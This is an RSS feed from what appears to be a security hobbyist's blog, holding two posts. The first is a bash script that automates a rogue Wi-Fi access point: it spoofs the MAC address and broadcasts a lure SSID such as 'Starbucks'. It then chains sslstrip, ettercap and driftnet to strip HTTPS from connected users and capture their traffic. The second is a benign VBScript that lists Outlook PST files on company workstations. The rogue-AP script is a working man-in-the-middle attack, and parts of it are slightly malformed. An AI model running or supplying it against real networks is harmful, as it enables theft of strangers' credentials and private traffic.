<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>TECH &#62; G33K &#62; HACK</title>
	<atom:link href="http://www.techgeekhack.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.techgeekhack.com</link>
	<description>The Ramblings of a &#124; IT Security Geek &#124; Coffee Addict &#124; SET &#38; Metasploit Junkie &#124; Gray Hat &#124; Husband + Dad &#124; SharePoint Ninja</description>
	<lastBuildDate>Fri, 08 Mar 2013 15:30:09 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Fake-Access Point &#8211; Automation</title>
		<link>http://www.techgeekhack.com/fake-access-point-automation/</link>
		<comments>http://www.techgeekhack.com/fake-access-point-automation/#comments</comments>
		<pubDate>Fri, 08 Mar 2013 15:15:08 +0000</pubDate>
		<dc:creator>atomixgray</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Hack]]></category>

		<guid isPermaLink="false">http://www.techgeekhack.com/?p=51</guid>
		<description><![CDATA[I&#8217;ve been playing with creating Fake-Access Points (Rouge Access-Points) in my lab for quite some time now.  It was always cumbersome setting this thing up.  Below is a .sh script that will do the magic for you. (with a little tweaking)  *Note this has only been tested on a Backtrack distro.  You can get pretty [...]]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve been playing with creating Fake-Access Points (Rouge Access-Points) in my lab for quite some time now.  It was always cumbersome setting this thing up.  Below is a .sh script that will do the magic for you. (with a little tweaking)  *Note this has only been tested on a Backtrack distro.  You can get pretty creative with this script by editing the airbase switches and almost turning this into a  jasager &#8211; (answering yes to all nearby probes request ~insert evil laugh WOOHAHA~) *Note this is for educational purposes in other words don&#8217;t be a jerk with this script. &#8211; sorry for the spacing issues</p>
<p><p>
								<pre class="Plum_Code_Box"><code class="javascript">!/bin/bash
#  PWN'in Time
#setup dhcp3
 intro
     echo &quot;Is dhcp3-server already configured [y/n]?&quot;
     read DHCP
     if [ &quot;$DHCP&quot; = &quot;y&quot; ]; then
             echo &quot;&quot;
     elif [ &quot;$DHCP&quot; = &quot;n&quot; ]; then
             echo &quot;[&gt;] Installing [please wait]...&quot;
            apt-get install dhcp3-server -y &amp;&gt;/dev/null
             echo &quot;[&gt;] Installation finished&quot;
             echo &quot;[&gt;] Backing up dchpd.conf to /etc/dhcp3/dhcpd.conf.backup&quot;
             mv /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.backup
             echo &quot;[&gt;] Seting up configuration file&quot;
             #write to file
             echo &quot;ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.2.128 netmask 255.255.255.128 {
option subnet-mask 255.255.255.128;
option broadcast-address 192.168.2.255;
option routers 192.168.2.129;
option domain-name-servers 8.8.8.8;
range 192.168.2.130 192.168.2.140;
}&quot; &gt; /etc/dhcp3/dhcpd.conf    
             echo &quot;[&gt;] Finished dhcp setup&quot;
             read -p &quot;Press [Enter] key to continue...&quot;
     else
             echo &quot;Please select y or n&quot;
     fi
     clear
}

function startap {
     #interface
     clear
     intro
     echo What is your Fake AP interface [ex.wlan2]:
     read FAKEAP
     clear
     #connected interface
     intro   
     echo What is your interface that is connected to the Internet? [ex:wlan0 or Eth0]:
     read REALAP
     clear
     #ssid
     intro
     echo SSID of your fake AP [ex.Starbucks]:
     read SSID
     clear
     #channel
     intro
     echo Channel of your fake AP [1-12]?
     read CHANNEL
     #checking
     clear
     intro
     echo &quot;Confirm Configuration?&quot;
     echo &quot;Fake AP interface: $FAKEAP&quot;
     echo &quot;Connected infterface: $REALAP&quot;
     echo &quot;SSID: $SSID&quot;
     echo &quot;Channel: $CHANNEL&quot;
     echo
     read -p &quot;Press [Enter] key to continue...&quot;
     clear
}

function bypass {
     #interface up
     intro
     echo &quot;[&gt;] Putting interface up&quot;
     ifconfig $FAKEAP down
       #macchanger -r $FAKEAP
     #ifconfig $FAKEAP up
     #monitor mode
     echo &quot;[&gt;] Putting your interface in monitor mode&quot;
     airmon-ng start $FAKEAP &amp;&gt;/dev/null
     ifconfig mon0 down
     echo &quot;[&gt;] Spoofing Mac Address&quot;
     macchanger -r mon0
     ifconfig mon0 up
     #create ap
     echo &quot;[&gt;] Creating new window for creating access point&quot;
     #gnome-terminal --title=&quot;airbase-ng&quot; -x airbase-ng -e $SSID -c $CHANNEL mon0 &amp;
     echo &quot;[*] Fake AP created&quot;
     sleep 2    
     xterm -e &quot;cd /pentest/web/sslstrip/;./sslstrip.py -a -k -f -l&quot; &amp;
     echo &quot;[*] SSLSTRIP RUNNING&quot;
     sleep 2
     echo &quot;[&gt;] Creating new window for EtterCap&quot;
     #Change to RealAP or FakeAP?     
    xterm -e &quot;ettercap -T -q -p -i at0 // //&quot; &amp;
    xterm -e &quot;driftnet -v -i at0&quot; &amp;
 }

function dhcp {
     echo &quot;[&gt;] Setting up dhcp-server&quot;
     ifconfig at0 up &amp;&amp;
     ifconfig at0 192.168.2.129 netmask 255.255.255.128 &amp;&amp;
     route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129 &amp;&amp;
     dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0 &amp;&gt;/dev/null &amp;&amp;
     /etc/init.d/dhcp3-server start &amp;&gt;/dev/null &amp;&amp;
     echo &quot;[&gt;] Setting up /sbin/iptables&quot;
}

function iptables {
     /sbin/iptables --flush &amp;&amp; /sbin/iptables --table nat --flush &amp;&amp; /sbin/iptables --delete-chain &amp;&amp; /sbin/iptables --table nat --delete-chain &amp;&amp; /sbin/iptables --table nat --append POSTROUTING --out-interface $REALAP -j MASQUERADE &amp;&amp; /sbin/iptables --append FORWARD --in-interface at0 -j ACCEPT &amp;&amp; echo 1 &gt; /proc/sys/net/ipv4/ip_forward

}

function finished {
     echo &quot;[&gt;] Kill EvilAP&quot;
     echo &quot;[&gt;] Turning off monitor mode...&quot;
     airmon-ng stop mon0 &amp;&gt;/dev/null
     echo &quot;[&gt;] Shutting down airbase-ng&quot;
     killall airbase-ng
     echo &quot;[&gt;] Stoping dchp server&quot;
     /etc/init.d/dhcp3-server stop
     echo &quot;[*] Ninja Vanish&quot;
     exit
}

#Executing here
setup
startap
bypass
sleep 2
dhcp
iptables
read -p &quot;Press [Enter] key to quit...&quot;
finished</code>
									</pre>
							</p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.techgeekhack.com/fake-access-point-automation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PST Finder v.1</title>
		<link>http://www.techgeekhack.com/pstfinde/</link>
		<comments>http://www.techgeekhack.com/pstfinde/#comments</comments>
		<pubDate>Wed, 04 Apr 2012 13:33:13 +0000</pubDate>
		<dc:creator>atomixgray</dc:creator>
				<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://www.techgeekhack.com/?p=4</guid>
		<description><![CDATA[Just a quick script that will search drive/location of choice and finder a certain file type. In this example we wanted to find all the pst files on all workstations within the company. I packaged the script within SCCM and pushed the following vbscript out to the masses. &#8216; Package History: &#8216; Date          Packager             Notes [...]]]></description>
				<content:encoded><![CDATA[<p>Just a quick script that will search drive/location of choice and finder a certain file type.</p>
<p>In this example we wanted to find all the pst files on all workstations within the company. I packaged the script within SCCM and pushed the following vbscript out to the masses.</p>
<p>&#8216; Package History:<br />
&#8216; Date          Packager             Notes<br />
&#8216;======================================================<br />
&#8216; 27-02-2012           PST Tracker v.1<br />
&#8216;*************************************************************************************<br />
&#8216;Find all Outlook pst files on C and report them</p>
<p>strComputer = &#8220;.&#8221;<br />
&#8216; on error resume next<br />
set wshnetwork=createobject(&#8220;wscript.network&#8221;)<br />
scomputername=wshnetwork.computername<br />
Set objNetwork = CreateObject(&#8220;WScript.Network&#8221;)</p>
<p>Const OverwriteExisting = True</p>
<p>Set objWMIService = GetObject(&#8220;winmgmts:\\&#8221; &amp; strComputer &amp; &#8220;\root\cimv2&#8243;)</p>
<p>Set colFiles = objWMIService.ExecQuery _<br />
(&#8220;Select * from CIM_DataFile Where Extension = &#8216;pst&#8217; AND (Drive = &#8216;C:&#8217;)&#8221;)<br />
&#8216;OR Drive = &#8216;D:&#8217;)&#8221;) Can add other Drive locations if need</p>
<p>If colFiles.Count = 0 Then<br />
Wscript.Quit<br />
End If</p>
<p>Set objFSO = CreateObject(&#8220;Scripting.FileSystemObject&#8221;)<br />
&#8216; Change CreateFolder to your location of choice &#8211; Example a network drive.<br />
Set objFolder = objFSO.CreateFolder(&#8220;C:\PST Finder\pstlog&#8221;)<br />
Set objTextFile = objFSO.CreateTextFile(&#8220;C:\PST Finder\pstlog\pst_files_on_&#8221; &amp; scomputername &amp; objNetwork.UserName &amp; &#8220;.txt &#8221; , True)</p>
<p>For Each objFile in colFiles<br />
objTextFile.Write(objFile.Drive &amp; objFile.Path &amp; &#8220;&#8221;)<br />
objTextFile.Write(objFile.FileName &amp; &#8220;.&#8221; &amp; objFile.Extension &amp; &#8220;, Size &#8220;)<br />
objTextFile.Write(objFile.FileSize /1024 &amp; &#8220;kb&#8221; &amp; vbCrLf)<br />
Next</p>
<p>objTextFile.Close<br />
&#8216;Destroy objects<br />
set wshnetwork=nothing</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.techgeekhack.com/pstfinde/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
